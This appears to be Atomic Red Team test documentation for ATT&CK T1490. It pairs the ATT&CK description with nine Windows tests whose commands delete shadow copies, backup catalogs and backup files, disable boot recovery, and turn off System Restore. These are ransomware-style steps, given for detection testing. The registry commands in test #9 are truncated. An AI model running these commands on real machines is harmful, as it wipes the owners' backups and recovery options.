T1490 - Inhibit System Recovery

Description from ATT&CK

> Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.
> Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of Data Destruction and Data Encrypted for Impact.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)
>
> A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:
>
> - `vssadmin.exe` can be used to delete all volume shadow copies on a system - `vssadmin.exe delete shadows /all /quiet`

> - Windows Management Instrumentation can be used to delete volume shadow copies - `wmic shadowcopy delete`
> - `wbadmin.exe` can be used to delete the Windows Backup Catalog - `wbadmin.exe delete catalog -quiet`
> - `bcdedit.exe` can be used to disable automatic Windows recovery features by modifying boot configuration data - `bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no`

Atomic Tests

- Atomic Test #1 - Windows - Delete Volume Shadow Copies
- Atomic Test #2 - Windows - Delete Volume Shadow Copies via WMI
- Atomic Test #3 - Windows - wbadmin Delete Windows Backup Catalog
- Atomic Test #4 - Windows - Disable Windows Recovery Console Repair
- Atomic Test #5 - Windows - Delete Volume Shadow Copies via WMI with PowerShell
- Atomic Test #6 - Windows - Delete Backup Files
- Atomic Test #7 - Windows - wbadmin Delete systemstatebackup
- Atomic Test #8 - Windows - Disable the SR scheduled task
- Atomic Test #9 - Disable System Restore Through Registry

Atomic Test #1 - Windows - Delete Volume Shadow Copies

Deletes Windows Volume Shadow Copies. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon execution, if no shadow volumes exist the message "No items found that satisfy the query." will be displayed. If shadow volumes are present, it will delete them without printing output to the screen. This is because the /quiet parameter was passed which also suppresses the y/n confirmation prompt. Shadow copies can only be created on Windows server or Windows 8.

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc788055(v=ws.11)

Supported Platforms: Windows

auto_generated_guid: 43819286-91a9-4369-90ed-d31fb4da2c01

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
vssadmin.exe delete shadows /all /quiet
```

Dependencies: Run with `powershell`!

Description: Create volume shadow copy of C:\ . This prereq command only works on Windows Server or Windows 8.

Check Prereq Commands:

```
if(!(vssadmin.exe list shadows | findstr "No items found that satisfy the query.")
```

Get Prereq Commands:

```
vssadmin.exe create shadow /for=c:
```

Atomic Test #2 - Windows - Delete Volume Shadow Copies via WMI

Deletes Windows Volume Shadow Copies via WMI. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Shadow copies can only be created on Windows server or Windows 8.

Supported Platforms: Windows

auto_generated_guid: 6a3ff8dd-f49c-4272-a658-11c2fe58bd88

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
wmic.exe shadowcopy delete
```

Atomic Test #3 - Windows - wbadmin Delete Windows Backup Catalog

Deletes Windows Backup Catalog. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon execution, "The backup catalog has been successfully deleted." will be displayed in the PowerShell session.

Supported Platforms: Windows

auto_generated_guid: 263ba6cb-ea2b-41c9-9d4e-b652dadd002c

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
wbadmin delete catalog -quiet
```

Atomic Test #4 - Windows - Disable Windows Recovery Console Repair

Disables repair by the Windows Recovery Console on boot. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon execution, "The operation completed successfully." will be displayed in the powershell session.

Supported Platforms: Windows

auto_generated_guid: cf21060a-80b3-4238-a595-22525de4ab81

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
bcdedit.exe /set {default} recoveryenabled no
```

Cleanup Commands:

```
bcdedit.exe /set {default} bootstatuspolicy DisplayAllFailures >nul 2>&1
bcdedit.exe /set {default} recoveryenabled yes >nul 2>&1
```

Atomic Test #5 - Windows - Delete Volume Shadow Copies via WMI with PowerShell

Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil. Executes Get-WMIObject. Shadow copies can only be created on Windows server or Windows 8, so upon execution there may be no output displayed.

Supported Platforms: Windows

auto_generated_guid: 39a295ca-7059-4a88-86f6-09556c1211e7

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}
```

Atomic Test #6 - Windows - Delete Backup Files

Deletes backup files in a manner similar to Ryuk ransomware. Upon exection, many "access is denied" messages will appear as the commands try to delete files from around the system.

Supported Platforms: Windows

auto_generated_guid: 6b1dbaf6-cc8a-4ea6-891f-6058569653bf

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup
```

Atomic Test #7 - Windows - wbadmin Delete systemstatebackup

Deletes the Windows systemstatebackup using wbadmin.exe. This technique is used by numerous ransomware families. This may only be successful on server platforms that have Windows Backup enabled.

Supported Platforms: Windows

auto_generated_guid: 584331dd-75bc-4c02-9e0b-17f5fd81c748

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
wbadmin delete systemstatebackup -keepVersions:0
```

Atomic Test #8 - Windows - Disable the SR scheduled task

Use schtasks.exe to disable the System Restore (SR) scheduled task

Supported Platforms: Windows

auto_generated_guid: 1c68c68d-83a4-4981-974e-8993055fa034

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
```

Cleanup Commands:

```
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /enable >nul 2>&1
```

Atomic Test #9 - Disable System Restore Through Registry

Modify the registry of the currently logged in user using reg.exe via cmd console to disable system restore on the computer. See how remcos RAT abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details

Supported Platforms: Windows

auto_generated_guid: 66e647d1-8741-4e43-b7c1-334760c2047f

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableCon
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR"
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "Disal
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "Disal
```

Cleanup Commands:

```
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "Disable
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "Disable
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "D
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "D
```